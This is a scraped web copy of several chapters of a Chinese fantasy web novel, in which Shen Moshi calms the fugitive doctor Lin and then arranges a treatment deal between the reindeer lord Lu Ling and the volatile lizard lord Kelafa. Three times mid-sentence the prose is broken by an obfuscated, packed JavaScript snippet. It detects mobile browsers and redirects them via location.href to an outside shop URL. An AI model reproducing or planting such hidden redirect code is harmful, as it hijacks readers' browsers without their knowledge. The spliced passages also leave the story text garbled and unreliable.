“要不然就是她领地内哪个不服她的家伙做的!” 说罢,那人直接挂断了电话。 “那头白痴鹿!这不就是怀疑我的意思,真是晦气!” 苍老的乌鸦狠狠地一拳砸在了桌上,“到底是哪个家伙这么没用被那个疯子抓到把柄了。” “偷人有什么用,偷也就算了,居然还被发现了,废物!” “废物!” 听到那头传来的忙音,陆岭平静地挂断了这通难得的跨领电话。 “不出我所料,他最近肯定对鬃狮蜥领下手过。” 一旁围观了全程的钟鹄笑道:“而且那位领主确实不确定是谁做的这件事,并不是我们这边出的纰漏。” 毕竟很明显了,那位鬃狮蜥领主在同时对两方发难。 陆岭整个人瘫倒在了椅背上,深深叹了口气,想到接下来还要和那位领主扯皮,就一阵头疼。 那位领主本身就是个不讲道理的家伙,更何况还有个无脑站她那边,乱讲道理的副手。 “真是群疯子。” 她反手遮住了眉眼,闭目养神一番,然后迅速一拍手,挺直了脊背,回到了平常的状态里。 “我好了!开始干活!” 钟鹄笑着为她递上文书和饮品。 领主府像是往日一般高效运作起来。 34.退堂鼓 隔壁的那位领主在发疯这件事没多久就传遍了整个垃圾星。 而驯鹿领内,特别在意这件事的人却并不多,毕竟这位的形象在他们这从来不算好,发疯也不是从今天才开始的。 感叹一番隔壁领主的离谱行为,回顾一番她以往的“光辉”事迹,再可怜一波鬃狮蜥领的民众后,大家该做什么还是做什么。 对此最忧虑的可能就是刚刚安顿下来的鳞了。 “我就知道会这样,肯定是因为我逃跑的事,所以她才会这么生气的!” 鳞手里捏着今天的报纸,突然冲到了沈莫失的办公室里,忐忑不安地看着沈莫失。 沈莫失嘴里还含着根棒棒糖,盘腿坐在宽大又柔软的椅子上看杂书,坦坦荡荡地在上班时间摸鱼。 与鳞慌乱的表现不同,她倒是一派安然,将书搁置在膝盖上,舔着糖果含含糊糊地安抚鳞。 “反正她又不知道你在哪里,要发疯就随她去呗,能影响到我们什么?” “可是……”鳞的双手都在颤抖,克制不住自己的恐惧之情。 沈莫失觉得鳞太夸大克拉法的能力了,好像对她有什么阴影一样,完全不敢去忤逆克拉法,甚至连惹她生气的事情都不敢去做。 别说是去做了,想想她就能把自己吓到。 她扯出嘴里的棒棒糖,原本五彩的纹路已经被她啃成了乳白色,她就以这乳白色的糖果指向鳞的方向。 “现在的你只不过是一个普普通通的驯鹿领居民罢了,与她再没什么关系了不是吗?试着放下她吧。” 不过沈莫失也知道,要改变前几十年来形成的观念不会是一件容易的事情,也很难在短时间内做到这一点。 但要真正地开始新生活的话,鳞必须意识到,她的处境与之前已经完全不同了 “再说了,她生气的原因大概率还有我一份呢,我可是完完整整耍了她一回啊。” 沈莫失指的是自己成为了“神选者”,又在宴会当天惹怒了克拉法并且人间蒸发这件事。 虽然她觉得惹怒克拉法这件事的主要原因不在她这里。 但在克拉法的角度看来,也没差别就是了。 沈莫失继续嚼嚼,“退一万步说,即使她真的发现了我们,你不是被我们绑架走的吗?大不了让她冲我来呗,我可不怕她。” 她和鳞的同时消失实在是太巧合了,克拉法不可能没意识到这其中的关联性的。 但这句话好像并没有安慰到对方,反而加重了鳞的焦虑情绪。 她的眼神里难掩对沈莫失的愧疚感,“我不会把责任推卸给你的,我知道你们这么做也是为了我好。” “明明在这件事上,你才是那个最无辜的人,结果还被我牵扯进这一连串糟糕事里来。” 她用那双像红宝石一般的眼睛注视着沈莫失。 沈莫失被她看得一阵起鸡皮疙瘩,“停停停,你还是多为自己考虑考虑吧,我还轮不到你来担心呢。” 她挠了挠头,尝试换一种方式安慰她,“别想那么多了,最近你学得怎么样了?还适应吗?” 要不让学生们多来找找她,让她忙一阵子或许就不会想东想西了吧? 等她忙完了,克拉法发疯这件事早就过去了。 鳞把手里的报纸捏得沙沙作响,她紧抿着唇看向沈莫失,这下沈莫失也觉得有些不对劲了,试探性地询问她。 “你来找我应该不只是为了告诉我克拉法她在发疯吧?” 这件事她不说,沈莫失也已经从陆岭那里得到消息了,比报纸上可要早多了。 果然,鳞舔了舔唇,犹豫着开口了。 “我觉得,我还是给你们添麻烦了,你也好,猎刀也好,如果被克拉法发现了,不知道她会对你们做出什么来,猎刀还有红雪要照顾,那孩子还那么小……” 她对克拉法能力的信任几乎到了盲目的程度,始终觉得纸是包不住火的。 而只要一想到猎刀等人会因她而遭遇不幸,她就几乎要喘不过气来,之前对新生活的美好期望也被抑制不住的猜想蒙上了一层阴影。 “还有那位好心的领主大人,驯鹿领主要面临的压力肯定不只是报纸上说到的这些……” 吞吞吐吐地说了一大串话,她才终于说到重点,紧张得鼻尖上都沁出汗来。 “说不定只要我回去了,事情就可以平息下来。” 鳞眼里的是真切的痛苦之情,对于自己受到的苦难,她都觉得可以忍受,可如果因自己而拖累到了别人,这种压力几乎可以压垮她。 原来她还是这么个想法。 倒也不奇怪,从见到她的第一面起,沈莫失就多少了解她的性格了。 胆小、窝囊,可又确实心善。 这大概也是猎刀愿意把红雪托付给她的原因之一。 毕竟胆小窝囊的人不容易惹事,以她原先在领地内的地位,想想她身后站着的克拉法,更不会有人刻意来招惹她。 而心善又能保证她会真心对待红雪。 猎刀对红雪的期望只是平平安安地长大,鳞确实是个合适的人选。 可在现在这种情况下,这样的性格就不算合适了。 不过要对付这种性格的人也很容易。 沈莫失咔嚓咔嚓几下嚼碎了嘴里的糖果,随手把棍子扔进了一旁的垃圾桶里。 “既然你说你是为了我们着想,那你有没有想过,你这么做相当于是辜负了我、猎刀,与其他所有人的努力呢?” 闻言,鳞张着嘴说不出话来,几乎瞬间陷入了崩溃的情绪里,泫然欲泣地跪倒在了地上,腿软得站不起来。 她沙哑着嗓音,像是从喉咙眼里挤出来的话一般,“我知道,我也知道这件事,所以我……” 她突然捂住了脸,不敢去看沈莫失平静的眼神,生怕从中看到对她的失望之色。 “我完全不知道该怎么做了。” 她不希望辜负沈莫失等人的努力,却也想不出一个合适的解决克拉法的办法。 而越是想不出办法,就越是会为自己的无能而厌弃自己。 她克制着嗓音哭了出来,哭声压得极低,并不希望自己在沈莫失的办公室哭泣这件事会被其他人知道,从而带来一些不必要的谣言。 沈莫失坐在原地没动,漆黑的眼里倒映出崩溃的鳞的身影,耳边隐隐传来啜泣声。 一臂搁在椅子扶手上,沈莫失拿手背撑着脸,仔细思索着要怎么解决鳞这个矛盾的想法。 在鳞看来,她们是为了救她才把她“绑架”出来的,把一切的责任和压力都堆在了自己身上。 可沈莫失有自己的想法,她既然决定要做那个把对方推下山崖的家伙,就不会眼睁睁看着没学会飞翔的鹰崽子坠崖而亡。 她的本意是想让她飞起来,而不是要把她摔死的。 要解决鳞纠结的问题,关键就在于克拉法。 克拉法这个人,虽然她们接触的时间不算长,但是结合猎刀的介绍,她对这位“暴君”也算是有些自己的理解。 在外人看来,脾气不好都是在夸她了,她就是个能力强大,喜怒无常,乱发脾气甚至是乱杀人的家伙。 领地内的民众们在崇拜她的能力的同时,也确实对她表现出了恐惧与远离的态度。 可那位章鱼副手与她的相处模式,又揭示出了她对内的另一面。 对于自己亲近的人,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14037706|147628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 十分双标,表现出与传言毫不相同的宽容态度。 ——前提是对方也没有背叛她的想法,不然这些背叛的亲信的下场可能会比那些陌生人要惨得多。 虽然很矛盾,但也说得清,爱屋及乌,恨屋也及乌,善恶完全取决于她的主观判断。 喜欢的人,于是连带着她的缺点和冒犯也喜欢,不喜欢的人,即使全是优点也觉得碍眼。 简单来说就是个人主义者,这样的人她也不是没见到过,只不过克拉法确实拥有肆意妄为的资本,行事也比其他人更为极端罢了。 对克拉法的性格有了基础的了解后,那么鳞对她而言算是什么类型呢? 爱的一类人吗?可就连猎刀都知道,如果她真的重视鳞,鳞是活不到她们来救她的。 同理,恨就更不可能了,她报仇从来不过夜。 所以答案其实很明显了,即使鳞与克拉法从小就相识,在外人眼里,鳞绝对能归属到克拉法的亲信一派里。 可事实就是,克拉法并不在意鳞。 或者说,没有外人以及鳞自己以为的那么在意。 而对于并不在意的人的态度,其实可以参考沈莫失自己。 她毫无疑问就是属于克拉法不在意的那一类人,即使有些欣赏她,但也不会很介意她拒绝了她的招揽这件事,所以最后她的选择才是忽视她离开。 可即使不在意她,当时的克拉法在面对她的拒绝时,也确实是生气的,在章鱼副手来打圆场后,她才收起了脾气。 当时是为什么会生气呢? 鉴于她是个极端的个人主义者,沈莫失大胆猜测,生气的原因出在克拉法自己身上。 是因为她下了克拉法的面子吗? 假设这就是真相,那么同理去推测这次克拉法生气的理由,会不会也是因为觉得自己的犯人被顺利偷走这件事,冒犯到她的权威了呢? 可要她们交出鳞去圆她面子这个方法,已经被沈莫失完全否决了。 剩下还有什么办法能够解决这件事呢? 克拉法有什么弱点吗? 沈莫失眼珠子一转,隐隐有了些想法。 再去看地上的鳞,见她红着眼睛流泪到抽噎的模样,无奈地叹了口气,上前把她扶了起来,抽了纸巾去给她擦眼泪。 “好了好了别哭了,我已经想到解决这件事的办法了,别担心了。” “你回去休息几天,这几天我让其他学生和红雪都好好陪着你,你安心等我的好消息就是了。” 鳞不可置信地看着沈莫失,眼泪鼻涕糊了一脸也没管,“真的吗?” 沈莫失一边嫌弃她,一边给她擦擦,“没错,你想我都把你带出来了,难道会没想好后续应对她的办法吗?” 鳞不知道沈莫失也是刚刚才想好的办法,她联想到沈莫失之前神通广大的举动,对此顿时信了几分。 “那,”她捏着沈莫失塞给她的纸巾,被她推着踉踉跄跄地往门外走去,“那我就回去等消息?” “是哦。”沈莫失笑得一脸灿烂,好不犹豫地点点头。 “会很麻烦你吗……”鳞一脸茫然,却还是犹豫着确认这件事。 “不会不会,很简单的。” 在鳞将要出门的时候,沈莫失还好心地提醒对方,“记得回去敷一下眼睛哦,看看都红成什么样子了?” “到时候都要说我欺负你了,我可太冤枉了。”沈莫失故意使用了那种搞怪的语气调侃道。 鳞被她逗笑了,忙用纸巾塞住喷出来的鼻涕,原本沉郁的心情也被她搞得轻松了不少。 “可我的眼睛本来就是红色的啊。” 沈莫失咧咧嘴,把她送了出去。 35.小饼干 既然送走了鳞,那么接下来要做的就是…… 沈莫失将目光移向那副显眼的鹿角装饰。 ——当然是要去找陆岭了。 回到了驯鹿领后,能直接接触到克拉法的也就只有领主和其下属了 “哟吼。”沈莫失畅通无阻地来到了陆岭的办公室,探头向陆岭打招呼。 由于陆岭曾专门嘱咐过,沈莫失有事可以直接来找她,所以在驯鹿领里找陆岭比起在鬃狮蜥领里找克拉法可是简单了不止一点。 陆岭惊讶地看着门口的沈莫失,放下手里的文书站起身来,“出什么事了吗?怎么专门来找我了?” 她自认为自己和沈莫失的关系还没有亲密到可以没事互相串门的程度,而以沈莫失的性格,能打电话解决的一般不会来找她。 她一边在脑海里快速思索了一番近期发生的与沈莫失有关的事件,一边招呼沈莫失坐下。 虽然是第一次来这里,不过沈莫失显得丝毫不拘谨。 “我就不能是单纯过来看看你吗?” 她舒舒服服地窝进了一旁的沙发里,挑眉看向陆岭。 陆岭在她对面坐下,吩咐侍从去准备茶水,闻言掩嘴微笑,“和我就别卖关子了,快请说吧,我有什么能帮你的。” 既然这么说了,沈莫失也就开门见山,“是关于我们刚招惹过的那位领主的。” “科洛莫罗吗?她在发疯这件事确实是今天才见报,”陆岭了悟地点了点头,接着疑惑道,“可我记得我之前和你说过这件事了?” 沈莫失脑子绕了圈,才想起来科洛莫罗大概是克拉法的姓氏。 她摆摆手回道:“我倒是不在意她发不发疯的,不过我带回来的那位医生在意得不得了。” “你也知道,她和猎刀的关系不错,又是我亲自‘绑架’回来的,总不好看着她这样不管。” 沈莫失谢过侍从,以惬意的姿势品尝侍从带来的小饼干。 既然不是沈莫失自己的事情,陆岭也就宽心了些,侍从正好把茶水点心都上齐了,她便摆摆手示意她们都回避。 等所有人都出去了,陆岭才露出成竹在胸的表情对沈莫失解释。 “她的事情不用担心,我这里都挡下来了,科洛莫罗那里什么都不知道,只是在乱发脾气罢了,过了这一阵子就好了。” 沈莫失觉得陆岭这里的厨子水平也是不枉多让,考虑着以后能多来这里蹭蹭饭,咽下饼干后才继续解释鳞觉得在意的地方。 “她倒不是单纯担心她自己,反而是担心她的事情会给我们带来麻烦。” 陆岭怕她噎着了,将茶盏往沈莫失的方向推了推,接着以坚定而自信的语气向沈莫失说。 “这就更不需要她担心了,请告诉她,科洛莫罗并没有给我添多少麻烦,只是些小问题罢了。” 沈莫失轻哼一声,笑着说:“你以为我不信你的能力吗?我也是这么跟她说的,不过她毕竟在那位手底下待了这么多年,要她放下对那位的滤镜可不是那么容易的事。” 陆岭低头沉思,“这倒确实,心里那一道坎只能靠自己跨过去。” 她又看向沈莫失,“那么,你现在过来找我,是想出了什么好办法解决这件事吗?这个办法需要我帮忙?” 沈莫失打了个响指赞同陆岭的猜测。 “我想了个办法能把鳞这件事在克拉法那里过个明路,这样的话,鳞也不必那么忧心自己的事情泄露出去带来麻烦,克拉法也不会再来折腾你了。” 陆岭微微睁大了眼,一时找错了重点。 “克拉……法?我不知道原来你们的关系竟然这么好。” 不过这件事对她而言可能确实算是重点之一,她差点要去重新翻看沈莫失在鬃狮蜥领里的行程记录了,看看是哪里漏看了两人变亲密的契机。 明明是她先来的!可沈莫失居然连科洛莫罗的昵称都叫上了。 幸好在她开始行动之前,沈莫失先作出了解释。 她有些不好意思地蹭了蹭脸颊,“她的名字实在太长了,我完全记不住啊,干脆就跟着猎刀叫了。” 她能记住的对克拉法的称呼除了这个昵称,就只有那个“暴君”的外号了。 但这种称呼在心里代称一下就是了,总不好在正经谈事情的时候把自己给人家取的外号叫出来。 陆岭刚提起来的心迅速重新落地。 她就知道,那只蜥蜴怎么可能比得过她。 重新换上完美的微笑,陆岭将被自己带歪了的话题拖回正轨,她的语气依旧诚恳而友好。 “那么,到底是什么办法呢?我要怎么帮你?” 沈莫失咧嘴反问陆岭道:“你觉得,克拉法她最在意的东西是什么呢?” 陆岭意味深长地看了眼沈莫失,毫不犹豫地回答道:“是她自己。” 沈莫失不置可否地点了点头,“唔,确实是这样没错,但是具体一点啦。” 她鼓励着陆岭继续分析下去。 陆岭倒是也很配合她的演出,短暂的思索后,再次回答道。 “科洛莫罗最在意的东西……她肯定很在意她的领地,这是她不被限制的权力的来源,不会容许任何人觊觎。” “领地这件事,我可帮不上她什么忙。” 沈莫失摊摊手表示无能为力,不过即使能帮上忙,现在的她也不会这么做。 “还有呢?与她个人息息相关的一件事,也正好在我的能力范围之内。” 沈莫失点了点自己,认真地与陆岭对视。 陆岭怔了怔,恍然大悟道:“紊乱症?” 沈莫失笑眯了眼,这就是和陆岭说话有意思的地方了,她总能精准地猜到她的意图。 “本质上都是一样的,她这个人不愿意被任何东西束缚住,权力为她保证了这一点,在领地内,她也确实过得肆无忌惮。” 手里摇晃着小饼干,沈莫失说道:“可总有些桎梏是无法通过权力来解除的。” “疾病就是个最典型的例子,医生在鬃狮蜥领内始终有着崇高的地位,但紊乱症的问题依旧困扰着她。” 对着陆岭眨了眨眼睛,沈莫失将饼干丢进嘴里。 “看来在这件事上,再大的权力也无法将她从桎梏里解脱出来。” “可解决这件事的钥匙,却正好握在了我们手里,这简直是天意、母神眷顾不是吗?” 考虑到陆岭不一定听得明白“天意”这个词的含义,沈莫失贴心地换成了本土话语。 陆岭笑意不减,纠正沈莫失的用词,“钥匙始终掌握在您的手里。” 啧啧啧,开始用尊称了,这就是又生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14045013|147628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 疏起来了,陆岭的心思还是蛮好猜的嘛,沈莫失想着。 垃圾星上的三个领地之间不算是敌对,但是关系也没好到哪里去。 她最初与陆岭所做的交易中虽未明说,但是要将治疗紊乱症的技术共享给别的领地这件事,对于陆岭来说肯定算是敏感话题了。 “一位普通人的话的分量与领主的话的分量可是完全不同的。” 由她来找克拉法谈判与陆岭去找克拉法谈判的意义可完全不同。 沈莫失暗示陆岭,这件事确实没她不行,她不会撇下陆岭不管的。 陆岭慢悠悠地喝了口茶,“那您为什么会觉得我会同意这件事呢?” “当然了,您也知道,如果您坚决要求的话,我是不会拒绝您的。”她抬眸看向沈莫失补充道,看不出有一丝不满的情绪。 气氛显得略有些凝滞,不过沈莫失倒是完全不受影响,还是笑嘻嘻地面对陆岭的询问。 “一位领主和另一位领主在我这的分量也是完全不同的。” 沈莫失刻意凑近了陆岭,歪着身子对她说:“我现在既然坐在这里与你商量,不就代表着我不会为了克拉法做出损害你的利益的事吗?” 沈莫失巧妙地偷换了概念,她这明明是为了鳞才做出的决定,而她和猎刀的关系绝对要比她和陆岭的关系要好。 陆岭发现了这其中的破绽,却也没有要点明的意思,不点明或许对她俩都好。 她的眼神闪了闪,继续问道:“只是为了让她不再来折腾我吗?” “我说了,这件事我自己也能解决好,实际也确实如此,她根本没办法给我添多少麻烦。” 她显得自信极了。 沈莫失意有所指地笑了笑,“当然不止了,让鬃狮蜥领内的民众也都能得到治疗,这难道不是一件好事吗?” 陆岭闻言,敛下了眉眼,“让别人的领地越来越好,我是那么好心的人吗?” 沈莫失笑眯了眼,伸出手指点了点陆岭,“你就算不是什么好人,可这样的机会你是一定不会错过的。” “什么机会?”陆岭挑眉去看沈莫失。 “当然是插手鬃狮蜥领的机会了。”沈莫失轻描淡写地点破了陆岭的小心思。 克拉法自己都没那么在意鳞的事情,面子问题再大,比起命也就小了,在陆岭与克拉法的谈判中,中间的余地可是多得很。 “我可从来没有要插手别人领地的想法。” 陆岭将茶杯轻轻搁置在桌案上,笑得一脸光风霁月。 在鬃狮蜥领内被陆岭照顾得无微不至的沈莫失一点都不信。 她用陆岭的原话来回复了她,“和我就别卖关子了,我又不会介意这一点。” “即使你比乌鸦还要黑心,我也会在你们三人之间站在你这边的,你有什么好担心的?” 陆岭顿时露出一副吃了苍蝇一样的表情。 “乌鸦……这句话是不是过分了,我自认为是没办法和他比这一点的。” 沈莫失扯了扯嘴角,“只是个比喻罢了,反正你懂我的意思的。” “再说了,不考虑你那些隐秘的心思,你难道不希望更多的人能得到治疗吗?在驯鹿领外推广治疗技术,本身就在你的计划中吧?” 沈莫失的目光清明又锐利,直直地看向陆岭。 36.人美心善 陆岭的手微不可查地颤了颤,她认真地凝视沈莫失良久,才长长地叹了口气。 气氛顿时变得轻松起来。 她有些泄气地扶额睨向沈莫失,“你到底是怎么知道这些事的?猜的吗?我应该从没跟你说过我的想法吧?咱俩到底谁才是失忆的那个?” “要了解一个人,不要看那个人说了什么,”沈莫失倒在椅背上,对着陆岭俏皮地眨了眨眼,指着她的心口说,“去看她做了什么。” 陆岭捂住自己的心口,皱着眉去问沈莫失,“我做了什么?” 沈莫失咂咂舌,这件事她还是从鳞那里知道的,要不是出领地逛了一圈,她还不知道自己的传闻都飘到鬃狮蜥领了。 “我是免费推广的技术吗?嗯?”沈莫失反问陆岭,“我有说过这件事吗?还是说你的钱不是钱?” 她在推广治疗方法这件事上可没那么大的觉悟,几个学生里,除了鳞是猎刀推来的,其他可都是陆岭给她安排的。 那么会去做免费推广这件事的,能做得到这件事的,还能有谁呢? 陆岭以拳抵唇,思索着自己做过的几件事,低声呢喃道:“难道真有那么明显吗?” 沈莫失笑看着她反思自己的一举一动,提起茶杯抿了口。 驯鹿领的居民生活条件毫无疑问要比鬃狮蜥领内好得多了,与克拉法一对比,沈莫失看得出来,大家对陆岭都是真心实意的感激之情。 会关爱民众并且被民众爱戴着的领主,沈莫失就不信她会是什么罪大恶极的家伙。 不过从某种意义上看,陆岭可能才是几位领主里最有野心的那位吧? 她从没想过要把技术封锁在领地内,以传闻传播的速度来看,从一开始,她的目光就一直看着全星球,而不只局限于自己的一方领地。 在这一件事上是这样,在其他的事情上难道就会有例外吗? 等陆岭终于从一番纠结中脱出神来,沈莫失已经把小饼干消灭得差不多了,正百无聊赖地数陆岭角上的分岔。 她无奈地看向嬉皮笑脸的沈莫失。 “我们来谈谈具体该怎么做吧。” 沈莫失迫不及待地点点头,想要快速结束这件事。 可没多久,她就开始耷拉下脸来,不复之前笑呵呵的模样。 她苦着脸听着陆岭在她耳边絮絮叨叨着注意事项,从克拉法的性格说到领地间微妙的共存关系。 本以为说服了陆岭,接下来的事情就不需要她再操心了,没想到陆岭要求她也要出席谈判。 “既然是你出的主意,你怎么能不出席呢?” 陆岭带着她标志性的微笑把沈莫失按在了座椅上。 沈莫失听了满脑子的注意事项,这件事不能做,那件事也要小心的。 她不禁哀叹道:“这比让我直接去噶了克拉法还要麻烦啊。” 她有那么一瞬间真情实感地想要这么去做。 陆岭一直觉得沈莫失深藏不露,因此并没有质疑她能否做到这件事,只是理所当然地回复沈莫失。 “维护和平当然要比引发战争麻烦多了。” 沈莫失闻言瞟了陆岭一眼,不再抱怨她的唠叨。 …… 鉴于双方之前已经埋下了不少隐患,电话沟通的方式可能会引起一些不必要的误解,为了避免这一点,陆岭还是决定与科洛莫罗面谈。 而领主在一般情况下是不会远离自己的领地的,这是一件可能会带来风险的事情,可是当两位领主决定当面谈判时,这就是不可避免的一件事了。 由于驯鹿领与鬃狮蜥领并不交界,情况就越发复杂些。 而很显然,两方都无法信任位于中间地带的乌鸦领主,默契十足地把他排除了出去,所以自然也无法借用他的领地进行谈判。 在一系列沈莫失不得而知的拉扯中,最终的谈判地点被定在了驯鹿领的边界位置,与乌鸦领并不交接的一块区域内。 谈判当天。 沈莫失跟随在陆岭身后进入了会议厅。 一进门就看到对面的克拉芙季雅正大马金刀地坐在席位上,左脚抬起,搁置于右膝,左手搭在腿间,右手撑着脑袋。 她甚至没有穿着礼服,不过是一身日常的打扮,随意而放肆地盘踞在那,就让任何一人都无法忽视她。 章鱼副手则依旧是一身庄重的长袍,垂眸恭谨地侍在一旁。 正闭目养神的克拉芙季雅闻声睁开了她那双剔透的绿眸,懒洋洋地睨向门口的陆岭。 “你真是难得不吃草啊,说吧,你的条件是什么?” 克拉芙季雅直截了当地开口询问。 此前,陆岭少见地直接联系了她,说是她这儿有了新的治疗紊乱症的方法,问她需不需要。 这是什么拿她寻开心的废话?她难道会说不要吗? 不过具体的交易条件,陆岭要求必须面谈,还要求克拉芙季雅必须亲自到场,在她的领地内进行商谈。 章鱼副手一听到这个消息,就怀疑这会不会是陆岭的一个陷阱,在听到最终的商谈地点还被安排在陆岭的领地内时,更是疑心大起。 她本就最是警惕陆岭这位领主,从接到消息开始就一直试图说服克拉芙季雅拒绝出席,只由她来进行商谈。 可克拉芙季雅对自己的实力十分自信,并不认为陆岭拥有能够暗害她的能力,再说紊乱症的治疗方法对她确实诱惑颇大,于是坚定地拒绝了自家副手的建议。 她倒是觉得,陆岭表现出如此重视又有底气的态度,才是证明了她真的有治疗办法在手。 陆岭没有在意对方失礼的言辞,这么多年来她也差不多习惯她这个讨人厌的性格了。 “别着急嘛,在我们正式开始前,我需要先为你介绍一个人。” 她自然地走到了克拉芙季雅对面,拉开座椅,却并不是想要自己坐下,而是邀请了自己身后的沈莫失。 沈莫失提前与她沟通过流程,此时也不怯场,自然地在陆岭的服侍下入座,冲着对面的两人露出人畜无害的笑容。 别说是克拉芙季雅了,章鱼副手见状都下意识皱起了眉,表现出了明显的不满之色。 按理来说,能与一位领主平等谈判的,就只有另一位领主了,在场几人中,只有陆岭拥有坐在克拉芙季雅对面的资格。 而此时,居然是另一人坐在了这个位置上,一般情况下,这可以算是某种对克拉芙季雅的蔑视。 不过很快,她们就看清了坐下的人的面容,章鱼微微睁大了眼,而克拉芙季雅则是意味深长地挑起了一边的眉毛。 在陆岭做出如此反常的举动之前,她从没把目光放在她身后的随从身上,反正无非就是那只白虎或是什么其他的下属罢了。 所以她到现在才发现,事情居然并非如此。 “是你?你居然还有胆子出现在我的面前?” 克拉芙季雅气极反笑,放下了原本翘起的左腿,一手拍着桌案俯身贴近了沈莫失的方向,晦暗的眼眸里兴味盎然,当然还有难掩的杀意。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14056507|147628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 沈莫失看着她的表情,几乎都能闻到从她身上传来的血腥味。 章鱼副手身下的触手也隐约蠕动了几下,能看出她也并不像是表面上看起来的那般平静。 沈莫失无所谓地勾起了嘴角,“我有什么不敢的?” “呵。”克拉芙季雅缓缓后仰倒在了椅背上,双手靠在了扶手上,眼神向下俯视沈莫失,就像是在看一只蚂蚁。 她并没有与沈莫失多话,而是直接看向了站在沈莫失身后的陆岭。 “这难道是你送我的惊喜吗?我们中午吃烤乳鸽?” 她笑得灿烂又充满恶意,“说不定还能多吃到一份蛇羹,早知道我就把厨子也一并带来了,不过现在去叫人也还来得及。” 在她们的交谈期间,陆岭并没有插话,只默默旁观着这一切,直到克拉芙季雅看向她,并对沈莫失出言不逊。 陆岭笑得温婉又友好,社交面具戴得严严实实,只有眼神里隐约透露出一丝嘲讽之意。 “态度请放尊重些,这位可是我的贵客。” “所以那个叛徒也是你藏起来的?”克拉芙季雅扬起嘴角,小指到食指一下一下地点着扶手。 “是又怎样?”陆岭一改以往谦逊礼貌的态度,面无表情地与克拉芙季雅对视着。 随着两人的对视,克拉芙季雅的嘴越咧越大,最后,她甚至算是有些癫狂地低声笑了起来。 “哈哈哈哈,我以前怎么没发现,你居然跟我有得一拼,我还以为,你不过是只愚蠢的食草动物罢了,没想到你装得这么好。” 章鱼副手的注意力全都放到了克拉芙季雅身上,见她这副模样,担忧地向她伸出触手。 克拉芙季雅笑弯了眼,也笑弯了腰,捂着肚子的手挥开了副手伸来的触手,另一只手指向了沈莫失的方向。 沈莫失两手抱胸,态度自然地坐在椅子上,平静地作个摆件,丝毫没有自己正身处风暴之中的危机感。 “这算是你对我的挑衅吗?我们是不是可以收拾收拾准备开打了?说实话,这么些年我都有些腻味你好我好的过家家游戏了。” 她那双绿眸里几乎看不出清明的迹象,“知道还有个人和我的想法一样,这怎么不让人高兴呢?” “我现在倒是有些对你改观了,鲜血与死亡,总是那么地让人着迷不是吗?” 那双色彩璀璨又柔和的眼睛就这么痴痴地看向陆岭。 陆岭从不与疯子计较,她平静地看着对面的克拉芙季雅,重新提醒她。 “我对你的个人爱好毫无兴趣,也不想在这里评判它,不过我希望,你的脑容量不至于小到忘记我们这次商谈的主要内容。” 迎着她疑惑的目光,陆岭走到沈莫失的身侧,一手伸出,手心朝上,四指并拢,指向座位上的沈莫失。 “这位。”她与沈莫失四目相对,两人默契一笑,接着,陆岭才抬头,重新去看克拉芙季雅的方向。 “就是研发出了紊乱症的治疗方法的沈莫失,沈女士。” 她勾起嘴角,不带一丝恶意地反问克拉芙季雅。 “真是令人费解,我为了您,也是为了正在受苦的鬃狮蜥领内的民众,才好心把她介绍给您,希望能减轻紊乱症带给兽人们的苦难。” 陆岭笑得柔和又美好,一副大爱无疆的模样,“沈女士也是人美心善,同意把技术分享出来造福大众,您为何会以如此大的恶意揣测我们呢?” 沈莫失在一旁也默默地勾起了嘴角。 是啊,为什么呢? 37.商谈 “现在您知道,她为何会是我的贵客了吗?”她与沈莫失一同看向对面的克拉芙季雅与章鱼,笑得友好又困惑。 “这样的人,换作是您,难道不会好好保护起来吗?如果真是如此的话,看来我确实需要谨慎考虑一下我们之间的交易了。” 克拉芙季雅的笑容顿时僵在了脸上,这个惊人的消息直接把她从癫狂的情绪里抽拉了出来。 她不可置信地看向那个才赢得了比武大赛冠军,现在又成了个“名医”的沈莫失,沉默良久,才终于从嗓子眼里挤出一声疑惑来。 “……哈?” 短暂的震惊之后,克拉芙季雅突然一副姐俩好的模样,半伏在了桌案上,去询问陆岭。 “不是,姐们,你真的确定你没有被她骗了吗?” 她一手指向沈莫失,专注地看着陆岭,“毕竟你不像我们,是不会得紊乱症的,说不定她就是借着这一点来蒙蔽你呢?” 谁知道啊,看到沈莫失的时候,她本来都已经接受了陆岭耍她玩儿,只是拿了个她无法拒绝的借口把她钓出来,实际上是准备挑衅她开战这件事了。 结果对方却突然表示,没骗你,钩子是真的,她是真心想要做交易的。 真是给她整懵了。 “还是说你们这是联起手来整我吗?”克拉芙季雅越想越觉得这才是真相,可这到底有什么必要吗? 这次回复她的不再是陆岭了,看了半天的戏,沈莫失终于是打算亲自上场了。 “这有什么必要吗?”沈莫失冷静地反问克拉芙季雅。 